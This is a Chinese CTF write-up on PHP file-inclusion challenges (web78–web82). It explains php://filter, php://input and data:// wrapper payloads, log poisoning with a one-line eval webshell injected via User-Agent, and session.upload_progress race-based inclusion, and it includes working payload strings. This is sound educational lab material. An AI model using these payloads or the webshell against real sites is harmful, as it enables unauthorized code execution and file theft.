CTF web入门之文件包含

发布于:2025-04-14 ⋅ 阅读:(22) ⋅ 点赞:(0)

web78:
在这里插入图片描述
include函数执行file引入的文件,如果执行不成功,就高亮显示当前页面的源码。

方法一:filter伪协议
file关键字的get参数传递,php://是一种协议名称,php://filter/是一种访问本地文件的协议,/read=convert.base64-encode/表示读取的方式是base64编码后,resource=index.php表示目标文件为index.php。

filter伪协议构造payload

base64编码
?file=php://filter/read=convert.base64-encode/resource=flag.php

utf8编码
?file=php://filter/convert.iconv.utf8.utf16/resource=flag.php 

在这里插入图片描述
得到base编码后的flag解密得到flag在这里插入图片描述
方法二:input协议
php://input 是 PHP 提供的一个伪协议,允许开发者 访问 POST 请求的原始内容。对于 POST 请求数据,PHP 提供了 $_POST 与 $FILES 超全局变量,在客户端发起 POST 请求时,PHP 将自动处理 POST 提交的数据并将处理结果存放至 $_POST 与 $FILES 中
在这里插入图片描述
方法三:data协议
data也是利用文件包含漏洞,将输入的代码当作php文件执行。

data协议格式:
data://[<MIME-type>][;charset=<encoding>][;base64],<data>

构造payload:
?file=data://text/plain,<?php system('tac f*');?>

在这里插入图片描述
web79:同上,多了个替换php 变成大小写就可以

?file=data://text/plain,<?Php system('tac f*');?>

在这里插入图片描述
在这里插入图片描述
web80:
在这里插入图片描述
在了解过后,发现这道题还可以通过日志包含getshell的方法来做。

日志文件会保存网站的访问记录,比如HTTP请求行,User-Agent,Referer等客户端信息,如果在HTTP请求中插入恶意代码,那么恶意代码就会保存到日志文件中,访问日志文件的时候,日志文件中的恶意代码就会执行,从而造成任意代码执行甚至获取shell。

首先要判断网站使用的什么服务:
对于Apache,日志存放路径:/var/log/apache/access.log
对于Ngnix,日志存放路径:/var/log/nginx/access.log 和 /var/log/nginx/error.log
在这里插入图片描述
在这里插入图片描述
使用brop抓包 在User-Agent 插入一句话木马

<?php @eval($_REQUEST['cmd']);?>

@ 符号:在 PHP 里,@ 是错误抑制符。它的作用是在执行相应表达式时,抑制可能出现的错误信息输出。也就是说,即使代码执行过程中产生了错误,也不会在页面上显示错误提示。

eval() 函数:这是 PHP 中的一个内置函数,其功能是把传入的字符串当作 PHP 代码来执行。例如,若传入的字符串是 echo 'Hello, World!';eval() 函数就会执行这条语句并输出 Hello, World!$_REQUEST 超全局变量:$_REQUESTPHP 中的一个超全局变量,它会收集通过 GETPOSTCOOKIE 方式提交的数据。这里使用 $_REQUEST['cmd'] 意味着可以通过上述任意一种方式传递一个名为 cmd 的参数

在这里插入图片描述
post传参,首先查看列表 .上一步构造恶意的 cmd 参数,执行任意的 PHP 代码

cmd=system('ls');

在这里插入图片描述
可以看到目录下面有flag,直接cat查看

cmd=system('tac f*');

在这里插入图片描述
web81:同上 还是用brop 上传木马 执行命令
在这里插入图片描述

在这里插入图片描述
web82:对于搞不懂的东西,先放一下 后面在弄
这次过滤了点,⽇志包含有.log,⽤不了上面那个。
在这里插入图片描述

知识点: 在php5.4之后php.ini开始有⼏个默认选项

1.session.upload_progress.enabled = on

2.session.upload_progress.cleanup = on

3.session.upload_progress.prefix = “upload_progress_”

4.session.upload_progress.name =PHP_SESSION_UPLOAD_PROGRESS5.session.use_strict_mode=off

第⼀个表示当浏览器向服务器上传⼀个⽂件时,php将会把此次⽂件上传的详细信息(如上传时间、上传进度等)存储在session当中

第⼆个表示当⽂件上传结束后,php将会⽴即清空对应session⽂件中的内容

第三和第四个prefix+name将表示为session中的键名

第五个表示我们对Cookie中sessionID可控

"简⽽⾔之,我们可以利⽤session.upload_progress将⽊⻢写⼊session⽂件,然后包含这个session⽂件。不过前提是我们需要创建⼀个session⽂件,并且知道session⽂件的存放位置。因为session.use_strict_mode=off的关系,我们可以⾃定义sessionID

linux系统中session⽂件⼀般的默认存储位置为 /tmp 或 /var/lib/php/session 例如我们在Cookie中设置了PHPSESSID=flag,php会在服务器上创建⽂件:/tmp/sess_flag,即使此时⽤户没有初始化session,php也会⾃动初始化Session。 并产⽣⼀个键值,为prefix+name的值,最后被写⼊sess_⽂件⾥ 还有⼀个关键点就是session.upload_progress.cleanup默认是开启的,只要读取了post数据,就会清除进度信息,所以我们需要利⽤条件竞争来pass,写⼀个脚本来完成

 

enabled=on表示upload_progress功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 ;

cleanup=on表示当文件上传结束后,php将会立即清空对应session文件中的内容,这个选项非常重要; name当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控;

可参考:https://www.cnblogs.com/justdoIT20680/p/18771953